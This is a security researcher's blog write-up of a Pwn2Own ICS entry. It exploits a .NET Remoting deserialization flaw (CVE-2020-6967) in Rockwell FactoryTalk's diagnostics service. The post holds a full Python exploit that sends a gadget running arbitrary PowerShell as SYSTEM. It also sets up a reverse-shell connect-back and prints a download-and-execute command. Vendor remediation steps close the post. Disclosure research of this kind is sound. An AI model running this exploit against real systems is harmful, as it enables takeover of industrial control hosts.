Izi Izi, Pwn2Own ICS Miami

Rédigé par Lucas Georges - 28/07/2020 - dans Challenges , Exploit - Téléchargement
ZDI announced last year a new entry in it's yearly contest "Pwn2Own". After the Vancouver edition focused on Desktop software and Tokyo specialized in smartphones, there is now a third location in Miami dedicated to industrial software also known as ICS or SCADA.

Lured by the possibility of escaping the cold and rainy month of January in Europe for the hometown of our national Duke of Boulogne, I and several of my colleagues at Synacktiv did take a look at the targets:

inaugural tweet

 

more info on the targets here: https://www.thezdi.com/blog/2019/10/28/pwn2own-miami-bringing-ics-into-the-pwn2own-world

 

Rockwell HMI

Industrial Control Systems (ICS) are usually architectured in tiers, and ZDI's categories were following the same logic: Control Server, Gateway, HMI and Engineering Workstation.

 

ics architecture
Source  : https://www.us-cert.gov/sites/default/files/recommended_practices/NCCIC_ICS-CERT_Defense_in_Depth_2016_S508C.pdf

 

To a complete novice in ICS/SCADA systems, HMIs and Engineering Workstations are probably the most familiar targets since it is usually a Windows/Linux software running in a traditional desktop computer.

Human-Machine Interface (HMI) software is most of the time a GUI or WebUI which allow the human operator to have some visibility over its industrial process by displaying feedback from the sensors and actuators on the devices level. As seen in the previous image, HMIs workstations are often found either in an air-gaped LAN in the manufacturing zone or deported in the control center zone.

The Rockwell FactoryTalk's HMI target is interesting since not only malicious files are accepted, but also 0-click exploits against any exposed service are valid:

target scenario

 

Let's start by enumerating which services are accessible remotely on a standard box with Rockwell's software installed:

PS C:\WINDOWS\system32> netstat -a -b | Select-String -Context 1 0.0.0.0

    Proto  Local Address          Foreign Address        State
>   TCP    0.0.0.0:403            HMIClient:0            LISTENING
   [FTAE_HistServ.exe]
>   TCP    0.0.0.0:1332           HMIClient:0            LISTENING
   [RdcyHost.exe]
>   TCP    0.0.0.0:3060           HMIClient:0            LISTENING
   [RnaDirServer.exe]
>   TCP    0.0.0.0:4255           HMIClient:0            LISTENING
   [RsvcHost.exe]
>   TCP    0.0.0.0:5241           HMIClient:0            LISTENING
   [RsvcHost.exe]
>   TCP    0.0.0.0:6543           HMIClient:0            LISTENING
   [RnaAeServer.exe]
>   TCP    0.0.0.0:8082           HMIClient:0            LISTENING
   [RNADiagnosticsSrv.exe]
>   TCP    0.0.0.0:9111           HMIClient:0            LISTENING
   [RnaAeServer.exe]
>   TCP    0.0.0.0:22350          HMIClient:0            LISTENING
   [CodeMeter.exe]
>   TCP    0.0.0.0:22352          HMIClient:0            LISTENING
   [CmWebAdmin.exe]
>   TCP    0.0.0.0:27000          HMIClient:0            LISTENING
   [lmgrd.exe]
>   TCP    0.0.0.0:57400          HMIClient:0            LISTENING
   [flexsvr.exe]

Well, we got a whooping 11 ports (only one is random) listening to any external connections installed by Rockwell's software suite. That's quite the attack surface! Most of the processes are native (C and C++) except from RNADiagnosticsSrv.exe which is in C# and .exe which is a web server implemented in Go.

RNADiagnosticsSrv.exe process is a good first target to pick since the fact it's written in C# limits the class of vulnerabilities available (only logic bugs) and is usually easier to reverse. That's also where the most straightforward and powerful vulnerability lies.

 

.NET Remoting, mon amour

A curl command can disclose quite a bit of info about what tech stack is listening behind the port:

PS C:\Users\bob> curl http://127.0.0.1:8082/
curl : System.ArgumentNullException: No message was deserialized prior to calling the DispatchChannelSink.
Parameter name: requestMsg
   at System.Runtime.Remoting.Channels.DispatchChannelSink.ProcessMessage(IServerChannelSinkStack sinkStack, IMessage requestMsg,
ITransportHeaders requestHeaders, Stream requestStream, IMessage& responseMsg, ITransportHeaders& responseHeaders, Stream& responseStream)
   at System.Runtime.Remoting.Channels.BinaryServerFormatterSink.ProcessMessage(IServerChannelSinkStack sinkStack, IMessage requestMsg,
ITransportHeaders requestHeaders, Stream requestStream, IMessage& responseMsg, ITransportHeaders& responseHeaders, Stream& responseStream)
   at System.Runtime.Remoting.Channels.Http.HttpServerTransportSink.ServiceRequest(Object state)
   at System.Runtime.Remoting.Channels.SocketHandler.ProcessRequestNow()
At line:1 char:1
+ curl http://127.0.0.1:8082/
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (System.Net.HttpWebRequest:HttpWebRequest) [Invoke-WebRequest], WebException
    + FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand
PS C:\Users\bob>  

Okay, the service tries to deserialize a message and fail. It does not take a keen nose to smell there's probably a deserialization vulnerability here. We also have a lot of references to the C# assembly System.Runtime.Remoting in the exception traceback so it points towards .NET Remoting.

Since I didn't know anything about .NET Remoting prior to working on pwn2own ICS, here's my dirty trick to find vulnerabilities in an unknown code base:

LMGTFY

 

The first link is useless (sorry James Forshaw) since the tool only applies to .NET remoting services channels in TCP or IPC (named pipe) and in our case the channel is HTTP. However, the blogpost by NCC Group follow closely our setup. In this blogpost, the author declares that any .NET remoting services which is configured with TypeFilterLevel set to Full is trivially remotely exploitable. Now, if we look back at our binary:

do you see the vuln ?

 

Well, well, well ... this is vulnerable.

 

Ysoserial.net

Unsafe deserialization vulnerabilities are usually exploited using "pop-chains" objects, and this one is no exception. Usually this is a research topic in itself: find a "standard" serializable object in which we control the properties in order to have a controlled impact on the target system (generally a process creation with controlled args).

However, in our case there is already an awesome public repo listing C# pop-chains gadgets : https://github.com/pwntester/ysoserial.net. I just had to shop around the gadgets in order to find one that worked reliably on my target (I used the TextFormattingRunProperties) which I pasted in my exploit code:

import base64
import binascii
import sys
import struct
import os

import requests

def get_TextFormattingRunProperties_gadget(command):
  """ 
      .NET deserialization gadget : 
          - https://community.microfocus.com/t5/Security-Research-Blog/New-NET-deserialization-gadget-for-compact-payload-When-size/ba-p/1763282 
          - https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
  """

  header = b''.join([
      b'\x00\x01\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\x00\x00\x00\x00\x0c\x02\x00\x00\x00^',
      b'Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
      b'\x05\x01\x00\x00\x00BMicrosoft.VisualStudio.Text.Formatting.TextFormattingRunProperties\x01\x00\x00\x00\x0f',
      b'ForegroundBrush\x01\x02\x00\x00\x00\x06\x03\x00\x00\x00',
  ])

  rce_gadget = ''.join([ '<ResourceDictionary\r\n',
      '  xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"\r\n',
      '  xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"\r\n',
      '  xmlns:System="clr-namespace:System;assembly=mscorlib"\r\n',
      '  xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">\r\n',
      '\t <ObjectDataProvider x:Key="LaunchCalc" ObjectType = "{ x:Type Diag:Process}" MethodName = "Start" >\r\n',
      '     <ObjectDataProvider.MethodParameters>\r\n',
      '        <System:String>powershell.exe</System:String>\r\n',
      '        <System:String>-e "{0:s}" </System:String>\r\n'.format(command),  # insert your command here
      '     </ObjectDataProvider.MethodParameters>\r\n',
      '    </ObjectDataProvider>\r\n',
      '</ResourceDictionary>',
  ]).encode('ascii')

  footer = b'\x0b'
  return header + get_varint(len(rce_gadget)) + rce_gadget + footer

def send_dot_net_remoting_http_request(target_ip, payload):

  headers = {
      "Content-Type" : "application/octet-stream" ,
      "Content-Length" :  "%d" % len(payload),  
      "Host" : "%s:8082" % target_ip,
      "Expect" : ""
  }

  r = requests.post("http://%s:8082/FactoryTalkLogReader" % target_ip, headers = headers, data=payload)
  if r.status_code != 200:
    raise ValueError("Could not connect to FactoryTalkLogReader endpoint, check what went wrong : %s" % r.text)

  return r.text


def get_varint(value):
  """ 
      .NET serialization is fucking weird : 
          the RCE gadget used (TextFormattingRunProperties) serialize a ResourceDictionary, which is a string prefixed
          by its length in a varint format, kinda like UTF-8 (high bit set used to indicate next byte is used also).
  """

  if value < 0x7f:
    return struct.pack("B", value)
  elif value < (0x7f + (0x7f << 7)):
    return struct.pack("BB", (value & 0xff) | 0x80, value >> 7 )
  elif value < (0x7f + (0x7f << 7) + (0x7f << 14)):
    return struct.pack("BBB", (value & 0xff) | 0x80, (value >> 7 & 0xff) | 0x80, value >> 14 )

  raise ValueError("varint conversion not supported for value %x over %x" % (value , (0x7f + (0x7f << 7))))

def main(args):
        
  # Send an empty payload in order to check the remote service is actually up
  answer = send_dot_net_remoting_http_request(args.ip, b"")

  # the returned answer is typically a .NET exception, serialised via BinaryFormater
  if "System.Runtime.Remoting.RemotingException" not in answer:
      raise ValueError("FactoryTalkLogReader endpoint is returning an unexpected answer, check what went wrong : %s" % answer)

  print("[+] server is up !")

  
  # packing C# gadget class
  print("[-] formating payload : %s" % args.posh)

  with open(args.posh, "r")  as posh_fd:
    posh_payload = posh_fd.read()

  # patch out server:port for connect back
  posh_payload = posh_payload.replace("{{server}}", '"%s"' % args.c2_ip)
  posh_payload = posh_payload.replace("{{port}}", "%d" % args.c2_port)
  
  # powershell -e $B64 expect a base64 encoded of a utf-16-le encoded script
  # also strip unicode \xff\xff header which is not accepted by powershell
  raw_posh_payload = posh_payload.encode("utf-16-le")
  raw_posh_payload = raw_posh_payload.lstrip(b"\xff\xff") 
  command = base64.b64encode(raw_posh_payload)

  payload = get_TextFormattingRunProperties_gadget(command)

      
  # GOGO GADGETO-SPLOIT !
  print("[-] sending payload")
  send_dot_net_remoting_http_request(args.ip, payload)

  # ignoring server's answer since it's an error

  if not args.pop_calc:
    print("if you get a connect back on your reverse shell, type the following commands :")
    print(" - 1. setup python http server : \"python3 -m http.server 8080 --bind %s\"" % args.c2_ip)
    print(" - 2. download the pop_calc.ps1 : \"(New-Object Net.WebClient).DownloadFile(\"http://%s:8080/pop_calc.ps1\" , \"c:\\windows\\temp\\pop_calc.ps1\");\"" % args.c2_ip)
    print(" - 3. run pop_calc.ps1 : \"powershell -ExecutionPolicy Bypass C:\\Windows\\Temp\\pop_calc.ps1;\"")

    os.system("python3 -m http.server 8080 --bind %s" % args.c2_ip)


if __name__ == '__main__':

  # making sure our .net varint computation is correct
  assert (get_varint(0x25b) == b'\xdb\x04')
  assert (get_varint(0x35a) == b'\xda\x06')
  assert (get_varint(0x17ac) == b'\xac\x2f')

  import argparse

  parser = argparse.ArgumentParser("exploit targeting Rockwell's RnaDiagnosticsSrv.exe .NET remoting vuln")
  parser.add_argument("ip", help="target ip address, port is 8082")
  parser.add_argument("posh", help="powershell payload filepath")

  parser.add_argument("--pop-calc", action="store_true", help="use hardcoded pop-calc exploit, no connect back or posh payload necessary here")
  parser.add_argument("--c2-ip", default = "192.168.164.1", help="c2 server ip address for connect back")
  parser.add_argument("--c2-port", default = 4242, type=int, help="c2 server port for connect back")


  args = parser.parse_args()
  main(args)

This exploit can encode any PowerShell script file, embed it into a TextFormattingRunProperties C# gadget and send it to the remote vulnerable server. And now, here's probably the most difficult part of the exploit : since we gain code execution as NT_AUTHORITY\SYSTEM, how can we properly and visually pop a calc for style points during the contest ? 😃

Fortunately, Justin Murray has written an awesome blogpost on how to create a process as the current logon user in C# : http://rzander.azurewebsites.net/create-a-process-as-loggedon-user. Since PowerShell can "compile" C# on the fly via the Cmdlet Add-Type, that's what I used for the injected payload.

 

Remediation

This vulnerability has been reported by ZDI to Rockwell Automation (as well as ICS-CERT) and is known as CVE-2020-6967: Remote Code Execution due to Vulnerable .NET Remoting Instance.

It's a RCE rated as 9.8/CRITICAL so it's pretty important to close this attack vector if you're running FactoryTalk software in your internal network. Since the security advisory is behind a soft paywall, here's Rockwell's recommended workarounds1 :

  • Install the patch at BF24822 to restrict connections settings to only the local port.

  • Disable the Remote Diagnostics Service if this service is not in use. Disabling this service does not result in data loss.

  • If the service is in use, use Windows Firewall configuration to help prevent remote connection to the affected port.


If you are a company using the same vulnerable setup (.NET Remoting service with TypeFilterLevel set to Full) and you want to fix this RCE vector attack, let's not beat around the bush : you need to ditch .NET Remoting for WCF, and it's a recommendation straight from Microsoft:2

 

Everything must burn
Source : https://docs.microsoft.com/en-us/dotnet/framework/wcf/migrating-from-net-remoting-to-wcf

 

Now there's the issue of pushing a security update in a software suite that is typically installed in air-gapped networks and running critical systems .... As we say in the industry, glhf 😗

 

Conclusion

In the end, we only got a partial win in the p2o contest since it was already previously reported by another ZDI researcher prior to Pwn2Own's announcement - we also did draw the last slot, which did not help at all - and well you know, if it looks too easy, it's because it probably is 😃

Anyway, given the quality of code we audited I'm pretty confident saying that Rockwell and the other ICS firms will feed several ZDI researcher's families this year.

 

References

 

  • 1. There is also a snort rule available : https://snort.org/rule_docs/1-32474
  • 2. And don't fool yourself by setting TypeFilterLevel to Low thinking it would prevent exploitation, the same NCC Group blogpost also posted an exploit for this configuration